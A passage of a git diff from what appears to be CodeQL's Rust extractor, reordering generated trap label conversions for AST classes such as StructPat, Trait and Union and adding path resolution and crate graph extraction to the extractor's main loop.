+impl From<trap::Label<StructExpr>> for trap::Label<Resolvable> {
+    fn from(value: trap::Label<StructExpr>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructExpr is a subclass of Resolvable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -10515,96 +10676,80 @@ impl From<trap::Label<Static>> for trap::Label<Stmt> {
 }
 
 #[derive(Debug)]
-pub struct Struct {
-    pub id: trap::TrapId<Struct>,
-    pub attrs: Vec<trap::Label<Attr>>,
-    pub field_list: Option<trap::Label<FieldList>>,
-    pub generic_param_list: Option<trap::Label<GenericParamList>>,
-    pub name: Option<trap::Label<Name>>,
-    pub visibility: Option<trap::Label<Visibility>>,
-    pub where_clause: Option<trap::Label<WhereClause>>,
+pub struct StructPat {
+    pub id: trap::TrapId<StructPat>,
+    pub path: Option<trap::Label<Path>>,
+    pub struct_pat_field_list: Option<trap::Label<StructPatFieldList>>,
 }
 
-impl trap::TrapEntry for Struct {
+impl trap::TrapEntry for StructPat {
     fn extract_id(&mut self) -> trap::TrapId<Self> {
         std::mem::replace(&mut self.id, trap::TrapId::Star)
     }
 
     fn emit(self, id: trap::Label<Self>, out: &mut trap::Writer) {
-        out.add_tuple("structs", vec![id.into()]);
-        for (i, v) in self.attrs.into_iter().enumerate() {
-            out.add_tuple("struct_attrs", vec![id.into(), i.into(), v.into()]);
-        }
-        if let Some(v) = self.field_list {
-            out.add_tuple("struct_field_lists", vec![id.into(), v.into()]);
-        }
-        if let Some(v) = self.generic_param_list {
-            out.add_tuple("struct_generic_param_lists", vec![id.into(), v.into()]);
-        }
-        if let Some(v) = self.name {
-            out.add_tuple("struct_names", vec![id.into(), v.into()]);
-        }
-        if let Some(v) = self.visibility {
-            out.add_tuple("struct_visibilities", vec![id.into(), v.into()]);
+        out.add_tuple("struct_pats", vec![id.into()]);
+        if let Some(v) = self.path {
+            out.add_tuple("path_ast_node_paths", vec![id.into(), v.into()]);
         }
-        if let Some(v) = self.where_clause {
-            out.add_tuple("struct_where_clauses", vec![id.into(), v.into()]);
+        if let Some(v) = self.struct_pat_field_list {
+            out.add_tuple("struct_pat_struct_pat_field_lists", vec![id.into(), v.into()]);
         }
     }
 }
 
-impl trap::TrapClass for Struct {
-    fn class_name() -> &'static str { "Struct" }
+impl trap::TrapClass for StructPat {
+    fn class_name() -> &'static str { "StructPat" }
 }
 
-impl From<trap::Label<Struct>> for trap::Label<Addressable> {
-    fn from(value: trap::Label<Struct>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Struct is a subclass of Addressable
+impl From<trap::Label<StructPat>> for trap::Label<Pat> {
+    fn from(value: trap::Label<StructPat>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructPat is a subclass of Pat
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Struct>> for trap::Label<AstNode> {
-    fn from(value: trap::Label<Struct>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Struct is a subclass of AstNode
+impl From<trap::Label<StructPat>> for trap::Label<AstNode> {
+    fn from(value: trap::Label<StructPat>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructPat is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Struct>> for trap::Label<Element> {
-    fn from(value: trap::Label<Struct>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Struct is a subclass of Element
+impl From<trap::Label<StructPat>> for trap::Label<Locatable> {
+    fn from(value: trap::Label<StructPat>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructPat is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Struct>> for trap::Label<Item> {
-    fn from(value: trap::Label<Struct>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Struct is a subclass of Item
+impl From<trap::Label<StructPat>> for trap::Label<Element> {
+    fn from(value: trap::Label<StructPat>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructPat is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Struct>> for trap::Label<Locatable> {
-    fn from(value: trap::Label<Struct>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Struct is a subclass of Locatable
+impl From<trap::Label<StructPat>> for trap::Label<PathAstNode> {
+    fn from(value: trap::Label<StructPat>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructPat is a subclass of PathAstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Struct>> for trap::Label<Stmt> {
-    fn from(value: trap::Label<Struct>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Struct is a subclass of Stmt
+impl From<trap::Label<StructPat>> for trap::Label<Resolvable> {
+    fn from(value: trap::Label<StructPat>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructPat is a subclass of Resolvable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -10666,54 +10811,54 @@ impl trap::TrapClass for Trait {
     fn class_name() -> &'static str { "Trait" }
 }
 
-impl From<trap::Label<Trait>> for trap::Label<Addressable> {
+impl From<trap::Label<Trait>> for trap::Label<Item> {
     fn from(value: trap::Label<Trait>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Trait is a subclass of Addressable
+        // SAFETY: this is safe because in the dbscheme Trait is a subclass of Item
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Trait>> for trap::Label<AstNode> {
+impl From<trap::Label<Trait>> for trap::Label<Stmt> {
     fn from(value: trap::Label<Trait>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Trait is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme Trait is a subclass of Stmt
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Trait>> for trap::Label<Element> {
+impl From<trap::Label<Trait>> for trap::Label<AstNode> {
     fn from(value: trap::Label<Trait>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Trait is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme Trait is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Trait>> for trap::Label<Item> {
+impl From<trap::Label<Trait>> for trap::Label<Locatable> {
     fn from(value: trap::Label<Trait>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Trait is a subclass of Item
+        // SAFETY: this is safe because in the dbscheme Trait is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Trait>> for trap::Label<Locatable> {
+impl From<trap::Label<Trait>> for trap::Label<Element> {
     fn from(value: trap::Label<Trait>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Trait is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme Trait is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Trait>> for trap::Label<Stmt> {
+impl From<trap::Label<Trait>> for trap::Label<Addressable> {
     fn from(value: trap::Label<Trait>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Trait is a subclass of Stmt
+        // SAFETY: this is safe because in the dbscheme Trait is a subclass of Addressable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -10763,54 +10908,54 @@ impl trap::TrapClass for TraitAlias {
     fn class_name() -> &'static str { "TraitAlias" }
 }
 
-impl From<trap::Label<TraitAlias>> for trap::Label<Addressable> {
+impl From<trap::Label<TraitAlias>> for trap::Label<Item> {
     fn from(value: trap::Label<TraitAlias>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TraitAlias is a subclass of Addressable
+        // SAFETY: this is safe because in the dbscheme TraitAlias is a subclass of Item
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TraitAlias>> for trap::Label<AstNode> {
+impl From<trap::Label<TraitAlias>> for trap::Label<Stmt> {
     fn from(value: trap::Label<TraitAlias>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TraitAlias is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme TraitAlias is a subclass of Stmt
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TraitAlias>> for trap::Label<Element> {
+impl From<trap::Label<TraitAlias>> for trap::Label<AstNode> {
     fn from(value: trap::Label<TraitAlias>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TraitAlias is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme TraitAlias is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TraitAlias>> for trap::Label<Item> {
+impl From<trap::Label<TraitAlias>> for trap::Label<Locatable> {
     fn from(value: trap::Label<TraitAlias>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TraitAlias is a subclass of Item
+        // SAFETY: this is safe because in the dbscheme TraitAlias is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TraitAlias>> for trap::Label<Locatable> {
+impl From<trap::Label<TraitAlias>> for trap::Label<Element> {
     fn from(value: trap::Label<TraitAlias>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TraitAlias is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme TraitAlias is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TraitAlias>> for trap::Label<Stmt> {
+impl From<trap::Label<TraitAlias>> for trap::Label<Addressable> {
     fn from(value: trap::Label<TraitAlias>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TraitAlias is a subclass of Stmt
+        // SAFETY: this is safe because in the dbscheme TraitAlias is a subclass of Addressable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -10844,18 +10989,18 @@ impl trap::TrapClass for TupleStructPat {
     fn class_name() -> &'static str { "TupleStructPat" }
 }
 
-impl From<trap::Label<TupleStructPat>> for trap::Label<AstNode> {
+impl From<trap::Label<TupleStructPat>> for trap::Label<Pat> {
     fn from(value: trap::Label<TupleStructPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TupleStructPat is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme TupleStructPat is a subclass of Pat
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TupleStructPat>> for trap::Label<Element> {
+impl From<trap::Label<TupleStructPat>> for trap::Label<AstNode> {
     fn from(value: trap::Label<TupleStructPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TupleStructPat is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme TupleStructPat is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -10871,9 +11016,9 @@ impl From<trap::Label<TupleStructPat>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<TupleStructPat>> for trap::Label<Pat> {
+impl From<trap::Label<TupleStructPat>> for trap::Label<Element> {
     fn from(value: trap::Label<TupleStructPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TupleStructPat is a subclass of Pat
+        // SAFETY: this is safe because in the dbscheme TupleStructPat is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -10949,27 +11094,27 @@ impl trap::TrapClass for TypeAlias {
     fn class_name() -> &'static str { "TypeAlias" }
 }
 
-impl From<trap::Label<TypeAlias>> for trap::Label<Addressable> {
+impl From<trap::Label<TypeAlias>> for trap::Label<AssocItem> {
     fn from(value: trap::Label<TypeAlias>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TypeAlias is a subclass of Addressable
+        // SAFETY: this is safe because in the dbscheme TypeAlias is a subclass of AssocItem
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TypeAlias>> for trap::Label<AssocItem> {
+impl From<trap::Label<TypeAlias>> for trap::Label<AstNode> {
     fn from(value: trap::Label<TypeAlias>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TypeAlias is a subclass of AssocItem
+        // SAFETY: this is safe because in the dbscheme TypeAlias is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TypeAlias>> for trap::Label<AstNode> {
+impl From<trap::Label<TypeAlias>> for trap::Label<Locatable> {
     fn from(value: trap::Label<TypeAlias>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TypeAlias is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme TypeAlias is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -11003,18 +11148,18 @@ impl From<trap::Label<TypeAlias>> for trap::Label<Item> {
     }
 }
 
-impl From<trap::Label<TypeAlias>> for trap::Label<Locatable> {
+impl From<trap::Label<TypeAlias>> for trap::Label<Stmt> {
     fn from(value: trap::Label<TypeAlias>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TypeAlias is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme TypeAlias is a subclass of Stmt
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TypeAlias>> for trap::Label<Stmt> {
+impl From<trap::Label<TypeAlias>> for trap::Label<Addressable> {
     fn from(value: trap::Label<TypeAlias>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TypeAlias is a subclass of Stmt
+        // SAFETY: this is safe because in the dbscheme TypeAlias is a subclass of Addressable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -11027,7 +11172,7 @@ pub struct Union {
     pub attrs: Vec<trap::Label<Attr>>,
     pub generic_param_list: Option<trap::Label<GenericParamList>>,
     pub name: Option<trap::Label<Name>>,
-    pub record_field_list: Option<trap::Label<RecordFieldList>>,
+    pub struct_field_list: Option<trap::Label<StructFieldList>>,
     pub visibility: Option<trap::Label<Visibility>>,
     pub where_clause: Option<trap::Label<WhereClause>>,
 }
@@ -11048,8 +11193,8 @@ impl trap::TrapEntry for Union {
         if let Some(v) = self.name {
             out.add_tuple("union_names", vec![id.into(), v.into()]);
         }
-        if let Some(v) = self.record_field_list {
-            out.add_tuple("union_record_field_lists", vec![id.into(), v.into()]);
+        if let Some(v) = self.struct_field_list {
+            out.add_tuple("union_struct_field_lists", vec![id.into(), v.into()]);
         }
         if let Some(v) = self.visibility {
             out.add_tuple("union_visibilities", vec![id.into(), v.into()]);
@@ -11064,9 +11209,18 @@ impl trap::TrapClass for Union {
     fn class_name() -> &'static str { "Union" }
 }
 
-impl From<trap::Label<Union>> for trap::Label<Addressable> {
+impl From<trap::Label<Union>> for trap::Label<Item> {
     fn from(value: trap::Label<Union>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Union is a subclass of Addressable
+        // SAFETY: this is safe because in the dbscheme Union is a subclass of Item
+        unsafe {
+            Self::from_untyped(value.as_untyped())
+        }
+    }
+}
+
+impl From<trap::Label<Union>> for trap::Label<Stmt> {
+    fn from(value: trap::Label<Union>) -> Self {
+        // SAFETY: this is safe because in the dbscheme Union is a subclass of Stmt
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -11082,36 +11236,36 @@ impl From<trap::Label<Union>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<Union>> for trap::Label<Element> {
+impl From<trap::Label<Union>> for trap::Label<Locatable> {
     fn from(value: trap::Label<Union>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Union is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme Union is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Union>> for trap::Label<Item> {
+impl From<trap::Label<Union>> for trap::Label<Element> {
     fn from(value: trap::Label<Union>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Union is a subclass of Item
+        // SAFETY: this is safe because in the dbscheme Union is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Union>> for trap::Label<Locatable> {
+impl From<trap::Label<Union>> for trap::Label<Addressable> {
     fn from(value: trap::Label<Union>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Union is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme Union is a subclass of Addressable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Union>> for trap::Label<Stmt> {
+impl From<trap::Label<Union>> for trap::Label<VariantDef> {
     fn from(value: trap::Label<Union>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Union is a subclass of Stmt
+        // SAFETY: this is safe because in the dbscheme Union is a subclass of VariantDef
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -11149,54 +11303,54 @@ impl trap::TrapClass for Use {
     fn class_name() -> &'static str { "Use" }
 }
 
-impl From<trap::Label<Use>> for trap::Label<Addressable> {
+impl From<trap::Label<Use>> for trap::Label<Item> {
     fn from(value: trap::Label<Use>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Use is a subclass of Addressable
+        // SAFETY: this is safe because in the dbscheme Use is a subclass of Item
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Use>> for trap::Label<AstNode> {
+impl From<trap::Label<Use>> for trap::Label<Stmt> {
     fn from(value: trap::Label<Use>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Use is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme Use is a subclass of Stmt
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Use>> for trap::Label<Element> {
+impl From<trap::Label<Use>> for trap::Label<AstNode> {
     fn from(value: trap::Label<Use>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Use is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme Use is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Use>> for trap::Label<Item> {
+impl From<trap::Label<Use>> for trap::Label<Locatable> {
     fn from(value: trap::Label<Use>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Use is a subclass of Item
+        // SAFETY: this is safe because in the dbscheme Use is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Use>> for trap::Label<Locatable> {
+impl From<trap::Label<Use>> for trap::Label<Element> {
     fn from(value: trap::Label<Use>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Use is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme Use is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Use>> for trap::Label<Stmt> {
+impl From<trap::Label<Use>> for trap::Label<Addressable> {
     fn from(value: trap::Label<Use>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Use is a subclass of Stmt
+        // SAFETY: this is safe because in the dbscheme Use is a subclass of Addressable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -11242,18 +11396,18 @@ impl trap::TrapClass for ForExpr {
     fn class_name() -> &'static str { "ForExpr" }
 }
 
-impl From<trap::Label<ForExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<ForExpr>> for trap::Label<LoopingExpr> {
     fn from(value: trap::Label<ForExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ForExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme ForExpr is a subclass of LoopingExpr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ForExpr>> for trap::Label<Element> {
+impl From<trap::Label<ForExpr>> for trap::Label<LabelableExpr> {
     fn from(value: trap::Label<ForExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ForExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme ForExpr is a subclass of LabelableExpr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -11269,9 +11423,9 @@ impl From<trap::Label<ForExpr>> for trap::Label<Expr> {
     }
 }
 
-impl From<trap::Label<ForExpr>> for trap::Label<LabelableExpr> {
+impl From<trap::Label<ForExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<ForExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ForExpr is a subclass of LabelableExpr
+        // SAFETY: this is safe because in the dbscheme ForExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -11287,9 +11441,9 @@ impl From<trap::Label<ForExpr>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<ForExpr>> for trap::Label<LoopingExpr> {
+impl From<trap::Label<ForExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<ForExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ForExpr is a subclass of LoopingExpr
+        // SAFETY: this is safe because in the dbscheme ForExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -11327,18 +11481,18 @@ impl trap::TrapClass for LoopExpr {
     fn class_name() -> &'static str { "LoopExpr" }
 }
 
-impl From<trap::Label<LoopExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<LoopExpr>> for trap::Label<LoopingExpr> {
     fn from(value: trap::Label<LoopExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LoopExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme LoopExpr is a subclass of LoopingExpr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<LoopExpr>> for trap::Label<Element> {
+impl From<trap::Label<LoopExpr>> for trap::Label<LabelableExpr> {
     fn from(value: trap::Label<LoopExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LoopExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme LoopExpr is a subclass of LabelableExpr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -11354,9 +11508,9 @@ impl From<trap::Label<LoopExpr>> for trap::Label<Expr> {
     }
 }
 
-impl From<trap::Label<LoopExpr>> for trap::Label<LabelableExpr> {
+impl From<trap::Label<LoopExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<LoopExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LoopExpr is a subclass of LabelableExpr
+        // SAFETY: this is safe because in the dbscheme LoopExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -11372,9 +11526,9 @@ impl From<trap::Label<LoopExpr>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<LoopExpr>> for trap::Label<LoopingExpr> {
+impl From<trap::Label<LoopExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<LoopExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LoopExpr is a subclass of LoopingExpr
+        // SAFETY: this is safe because in the dbscheme LoopExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -11416,18 +11570,18 @@ impl trap::TrapClass for WhileExpr {
     fn class_name() -> &'static str { "WhileExpr" }
 }
 
-impl From<trap::Label<WhileExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<WhileExpr>> for trap::Label<LoopingExpr> {
     fn from(value: trap::Label<WhileExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme WhileExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme WhileExpr is a subclass of LoopingExpr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<WhileExpr>> for trap::Label<Element> {
+impl From<trap::Label<WhileExpr>> for trap::Label<LabelableExpr> {
     fn from(value: trap::Label<WhileExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme WhileExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme WhileExpr is a subclass of LabelableExpr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -11443,9 +11597,9 @@ impl From<trap::Label<WhileExpr>> for trap::Label<Expr> {
     }
 }
 
-impl From<trap::Label<WhileExpr>> for trap::Label<LabelableExpr> {
+impl From<trap::Label<WhileExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<WhileExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme WhileExpr is a subclass of LabelableExpr
+        // SAFETY: this is safe because in the dbscheme WhileExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -11461,9 +11615,9 @@ impl From<trap::Label<WhileExpr>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<WhileExpr>> for trap::Label<LoopingExpr> {
+impl From<trap::Label<WhileExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<WhileExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme WhileExpr is a subclass of LoopingExpr
+        // SAFETY: this is safe because in the dbscheme WhileExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
diff --git a/rust/extractor/src/main.rs b/rust/extractor/src/main.rs
index 48445a935c30..0ec1769f1d17 100644
--- a/rust/extractor/src/main.rs
+++ b/rust/extractor/src/main.rs
@@ -1,11 +1,12 @@
-use crate::diagnostics::{emit_extraction_diagnostics, ExtractionStep};
+use crate::diagnostics::{ExtractionStep, emit_extraction_diagnostics};
 use crate::rust_analyzer::path_to_file_id;
+use crate::translate::ResolvePaths;
 use crate::trap::TrapId;
 use anyhow::Context;
 use archive::Archiver;
 use ra_ap_hir::Semantics;
-use ra_ap_ide_db::line_index::{LineCol, LineIndex};
 use ra_ap_ide_db::RootDatabase;
+use ra_ap_ide_db::line_index::{LineCol, LineIndex};
 use ra_ap_load_cargo::LoadCargoConfig;
 use ra_ap_paths::{AbsPathBuf, Utf8PathBuf};
 use ra_ap_project_model::{CargoConfig, ProjectManifest};
@@ -22,6 +23,7 @@ use tracing_subscriber::util::SubscriberInitExt;
 
 mod archive;
 mod config;
+mod crate_graph;
 mod diagnostics;
 pub mod generated;
 mod qltest;
@@ -44,7 +46,7 @@ impl<'a> Extractor<'a> {
         }
     }
 
-    fn extract(&mut self, rust_analyzer: &rust_analyzer::RustAnalyzer, file: &std::path::Path) {
+    fn extract(&mut self, rust_analyzer: &RustAnalyzer, file: &Path, resolve_paths: ResolvePaths) {
         self.archiver.archive(file);
 
         let before_parse = Instant::now();
@@ -67,6 +69,7 @@ impl<'a> Extractor<'a> {
             label,
             line_index,
             semantics_info.as_ref().ok(),
+            resolve_paths,
         );
 
         for err in errors {
@@ -103,12 +106,17 @@ impl<'a> Extractor<'a> {
         file: &Path,
         semantics: &Semantics<'_, RootDatabase>,
         vfs: &Vfs,
+        resolve_paths: ResolvePaths,
     ) {
-        self.extract(&RustAnalyzer::new(vfs, semantics), file);
+        self.extract(&RustAnalyzer::new(vfs, semantics), file, resolve_paths);
     }
 
     pub fn extract_without_semantics(&mut self, file: &Path, reason: &str) {
-        self.extract(&RustAnalyzer::WithoutSemantics { reason }, file);
+        self.extract(
+            &RustAnalyzer::WithoutSemantics { reason },
+            file,
+            ResolvePaths::No,
+        );
     }
 
     pub fn load_manifest(
@@ -239,14 +247,26 @@ fn main() -> anyhow::Result<()> {
     }
     let cwd = cwd()?;
     let (cargo_config, load_cargo_config) = cfg.to_cargo_config(&cwd);
+    let resolve_paths = if cfg.skip_path_resolution {
+        ResolvePaths::No
+    } else {
+        ResolvePaths::Yes
+    };
     for (manifest, files) in map.values().filter(|(_, files)| !files.is_empty()) {
         if let Some((ref db, ref vfs)) =
             extractor.load_manifest(manifest, &cargo_config, &load_cargo_config)
         {
+            let before_crate_graph = Instant::now();
+            crate_graph::extract_crate_graph(extractor.traps, db, vfs);
+            extractor
+                .steps
+                .push(ExtractionStep::crate_graph(before_crate_graph));
             let semantics = Semantics::new(db);
             for file in files {
                 match extractor.load_source(file, &semantics, vfs) {
-                    Ok(()) => extractor.extract_with_semantics(file, &semantics, vfs),
+                    Ok(()) => {
+                        extractor.extract_with_semantics(file, &semantics, vfs, resolve_paths)
+                    }
                     Err(reason) => extractor.extract_without_semantics(file, &reason),
                 };
             }
diff --git a/rust/extractor/src/rust_analyzer.rs b/rust/extractor/src/rust_analyzer.rs
index 2ebbcac6b590..1947dcbe09f7 100644
--- a/rust/extractor/src/rust_analyzer.rs
+++ b/rust/extractor/src/rust_analyzer.rs
@@ -1,13 +1,13 @@
 use itertools::Itertools;
-use ra_ap_base_db::SourceDatabase;
+use ra_ap_base_db::{EditionedFileId, RootQueryDb, SourceDatabase};
 use ra_ap_hir::Semantics;
 use ra_ap_ide_db::RootDatabase;
-use ra_ap_load_cargo::{load_workspace_at, LoadCargoConfig};
+use ra_ap_load_cargo::{LoadCargoConfig, load_workspace_at};
 use ra_ap_paths::{AbsPath, Utf8PathBuf};
 use ra_ap_project_model::ProjectManifest;
 use ra_ap_project_model::{CargoConfig, ManifestPath};
 use ra_ap_span::Edition;
-use ra_ap_span::EditionedFileId;
+use ra_ap_span::EditionedFileId as SpanEditionedFileId;
 use ra_ap_span::TextRange;
 use ra_ap_span::TextSize;
 use ra_ap_syntax::SourceFile;
@@ -73,7 +73,10 @@ impl<'a> RustAnalyzer<'a> {
                 if let Some(file_id) = path_to_file_id(path, vfs) {
                     if let Ok(input) = std::panic::catch_unwind(|| semantics.db.file_text(file_id))
                     {
-                        let file_id = EditionedFileId::current_edition(file_id);
+                        let file_id = EditionedFileId::new(
+                            semantics.db,
+                            SpanEditionedFileId::current_edition(file_id),
+                        );
                         let source_file = semantics.parse(file_id);
                         let errors = semantics
                             .db
@@ -84,7 +87,7 @@ impl<'a> RustAnalyzer<'a> {
 
                         return ParseResult {
                             ast: source_file,
-                            text: input,
+                            text: input.text(semantics.db),
                             errors,
                             semantics_info: Ok(FileSemanticInformation { file_id, semantics }),
                         };
